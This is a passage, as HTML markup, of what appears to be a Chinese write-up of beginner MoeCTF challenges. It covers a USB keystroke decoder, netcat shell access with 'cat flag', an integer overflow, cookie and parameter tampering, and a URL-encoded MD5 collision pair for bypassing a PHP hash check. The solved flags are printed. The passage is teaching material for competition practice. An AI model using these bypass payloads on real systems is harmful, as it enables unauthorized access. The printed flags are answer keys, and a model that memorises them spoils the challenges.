punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"1!\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"2@\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"3#\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x21\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"4$\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"5%\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"6^\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"7\u0026amp;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"8*\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"9(\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x27\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"0)\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\" \"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-_\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"=+\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"[\u0026#123;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"]\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x32\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"#~\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x33\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\";:\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"'\\\"\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x36\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\",\u0026lt;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\".\u003e\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x4f\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u003e\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026lt;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003ecode2chr\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"r\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereadlines\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 即第三个字节\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# newline or down arrow - move down\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x51\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# up arrow - move up\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x52\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# select the character based on the Shift key\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elines\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e pos\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e81\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026lt;un\u003e\"\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\u0026lt;un\u003e\"\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"\"\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e x \u003cspan class=\"token comment\"\u003e# print(x)\u003c/span\u003e fout \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'w'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eresult\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclose\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"__main__\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code2chr\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{D@m3daNe_D4me_yoooooo}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"PWN\"\u003e\u003ca href=\"#PWN\" class=\"headerlink\" title=\"PWN\"\u003e\u003c/a\u003ePWN\u003c/h2\u003e\u003ch3 id=\"02-test-your-nc\"\u003e\u003ca href=\"#02-test-your-nc\" class=\"headerlink\" title=\"02 test_your_nc\"\u003e\u003c/a\u003e02 test_your_nc\u003c/h3\u003e\u003cp\u003e如题\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enc\u003c/span\u003e pwn.blackbird.wang \u003cspan class=\"token number\"\u003e9500\u003c/span\u003e\u003cspan class=\"token function\"\u003els\u003c/span\u003e\u003cspan class=\"token function\"\u003ecat\u003c/span\u003e flag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{enjoy_the_netcat_and_the_shell}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Int-overflow\"\u003e\u003ca href=\"#03-Int-overflow\" class=\"headerlink\" title=\"03 Int_overflow\"\u003e\u003c/a\u003e03 Int_overflow\u003c/h3\u003e\u003cp\u003e试着试着给了个 \u003ccode\u003e-1\u003c/code\u003e ,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0ul0v3m3m3l0v3y0u_1nt0v3rfl0w}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Web\"\u003e\u003ca href=\"#Web\" class=\"headerlink\" title=\"Web\"\u003e\u003c/a\u003eWeb\u003c/h2\u003e\u003cp\u003e\u003cdel\u003ePHP真实绝绝子\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"02-Web安全入门指北—GET\"\u003e\u003ca href=\"#02-Web安全入门指北—GET\" class=\"headerlink\" title=\"02 Web安全入门指北—GET\"\u003e\u003c/a\u003e02 Web安全入门指北—GET\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:10000/?moe\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{We1c0me_t0_CTF_Web!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Web安全入门指北—POST\"\u003e\u003ca href=\"#03-Web安全入门指北—POST\" class=\"headerlink\" title=\"03 Web安全入门指北—POST\"\u003e\u003c/a\u003e03 Web安全入门指北—POST\u003c/h3\u003e\u003cp\u003e随便找个在线工具发POST就行\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{POST_1s_an_1mp0rtant_m3th0d!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Web安全入门指北—小饼干\"\u003e\u003ca href=\"#04-Web安全入门指北—小饼干\" class=\"headerlink\" title=\"04 Web安全入门指北—小饼干\"\u003e\u003c/a\u003e04 Web安全入门指北—小饼干\u003c/h3\u003e\u003cp\u003e浏览器F12 把cookies里值改成1,刷新\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{C00kie_1s_sw33t!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-2048\"\u003e\u003ca href=\"#05-2048\" class=\"headerlink\" title=\"05 2048\"\u003e\u003c/a\u003e05 2048\u003c/h3\u003e\u003cp\u003e审查元素大法好,找到代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003e\u003cspan class=\"token function-variable function\"\u003egetFlag\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evar\u003c/span\u003e req \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"token class-name\"\u003eXMLHttpRequest\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"GET\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"flag.php?score=\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003eobj\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003escore\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function-variable function\"\u003eonload\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003ealert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ethis\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eresponseText\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003esend\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开发现申必数字\u003ccode\u003e50000\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5001/flag.php?score\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e50000\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e获得flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{2048_1s_intere5t1ng!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/CSDNiamcoming/article/details/108837347\"\u003e(6条消息) 总结ctf中 MD5 绕过的一些思路_y0un9er-CSDN博客_ctf md5绕过\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token assign-left variable\"\u003ea\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u003cspan class=\"token assign-left variable\"\u003eb\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec3gf9dfg62fh342}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-ezinclude\"\u003e\u003ca href=\"#06-ezinclude\" class=\"headerlink\" title=\"06 ezinclude\"\u003e\u003c/a\u003e06 ezinclude\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/vhkjhwbs/article/details/99728785\"\u003ehttps://blog.csdn.net/vhkjhwbs/article/details/99728785\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42181428/article/details/87090539\"\u003ehttps://blog.csdn.net/qq_42181428/article/details/87090539\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca 